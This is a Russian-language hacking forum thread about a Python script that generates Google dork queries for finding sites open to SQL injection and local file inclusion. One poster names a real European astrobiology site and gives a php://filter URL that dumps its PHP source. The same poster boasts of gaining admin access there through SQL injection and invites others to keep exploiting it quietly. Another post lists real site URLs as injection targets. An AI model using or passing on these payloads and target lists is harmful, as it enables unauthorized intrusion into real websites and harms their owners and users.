This is a sample guest message. Register a free account today to become a member! Once signed in, you'll be able to participate on this site by adding your own topics and posts, as well as connect with other members through your own private inbox!
Кстати не только SQLi (которые мы все так любим) но и LFI через такие дорки находятся! ;-) (см. выше пример)
Дружище, удалили Ez Dork Gen
Спасибо. 100% согласен, давольно-таки очевидный и не маловажный гугл дорк, а с головы вылетел. Но ко всему этому, такие сайты-гиганты относительно фиксятся в принципе любым "site:" доменом за исключением естественно .com
Ну и в купе простых и гугл дорок- таких прицедедентов не выявлялось). мб по этому и запамятовал))) Но да, обязательно берем на заемтку
def read_file(filename):
with open(filename, 'r', encoding='utf-8') as file:
return [line.strip() for line in file]
def generate_dorks(keywords, param1, param2, sites):
dorks = []
for keyword in keywords:
# Базовые запросы с intext и allintext
dorks.append(f'intext:{keyword}')
dorks.append(f'allintext:{keyword}')
for p1 in param1:
# Запросы с intext и allintext + inurl:param1
dorks.append(f'intext:{keyword} inurl:{p1}')
dorks.append(f'allintext:{keyword} inurl:{p1}')
for p2 in param2:
# Запросы с intext и allintext + inurl:param1?param2
dorks.append(f'intext:{keyword} inurl:{p1}?{p2}')
dorks.append(f'allintext:{keyword} inurl:{p1}?{p2}')
for site in sites:
# Запросы с intext и allintext + inurl:param1?param2 + site:site
dorks.append(f'intext:{keyword} inurl:{p1}?{p2} site:{site}')
dorks.append(f'allintext:{keyword} inurl:{p1}?{p2} site:{site}')
return dorks
def write_to_file(dorks, filename):
with open(filename, 'w', encoding='utf-8') as file:
for dork in dorks:
file.write(dork + '\n')
def main():
keywords = read_file('keywords.txt')
param1 = read_file('param1.txt')
param2 = read_file('param2.txt')
sites = read_file('site.txt')
dorks = generate_dorks(keywords, param1, param2, sites)
write_to_file(dorks, 'dorks.txt')
if __name__ == "__main__":
main()Для мелких утилит - золотые слова!
) - тут главное понимать логику и алгоритм чего сделать собираешься (выше вон явно 4 вложенных цикла для генерации всех "комбо" из 4-х источников), зная это - остальное (особенности языка) - нагугливается за 5 минут.Бурп есть и комьюнити, это разzdestuta сказал(а):
Для мелких утилит - золотые слова!
Причём на питоне свет клином не сошёлся, пойдёт любой язык (помню как Perl раньше был в качестве Python сейчас
Но вот Burp Suite (да даже mitmproxy консольный его аналог) например - с этим как быть? тоже свой писать?
Нажмите, чтобы раскрыть...
zdestuta сказал(а):
Прекрасная статья! Очень ждал!
От себя могу добавить, что кроме SQLi там иногда полезно поискать и LFI.
Товарищи, вот сходу находится LFI - зацените ржаку http://www.eana-net.eu/index.php?page=index - оно будет рекурсивно отрабатывать включая index.php
Думаю все уже догадались что любой сырец PHP там можно получить через PHP фильтры:
http://www.eana-net.eu/index.php?page=PHP://filter/convert.base64-encode/resource=information/../index - вывалит сырец index.php прям в браузер но в base64, декодировать ессно уже дело тривиальное.
SQLi там ну конечно же тоже присутствуют (в апдейте юзера, а зарегаться не проблема), я давно уже там стал "тихим адмиином".
Никогда так быстро ничего не ломал ещё :-D
Просьба: не доламывайте беззащитных европейских астробиологов! глумитесь плиз тихо и незаметно. наука это всё таки "святое", как и медицина.
Нажмите, чтобы раскрыть...
| https://motorzeitung.de/news.php?newsid=6473060 |
| http://www.xforce-online.de/news.php |
| https://www.india-store.de/store-news.php?language=it |
Здесь нету include потому что... потому что он тут нафиг не нужен, ну подумай как разраб куда параметры пойдут такие, newsid - тут скорее SQLi, иногда редко IDes - типа вместо param=value кинуть param[]=value массив для детекта IDes.
перезалей пожалуйста
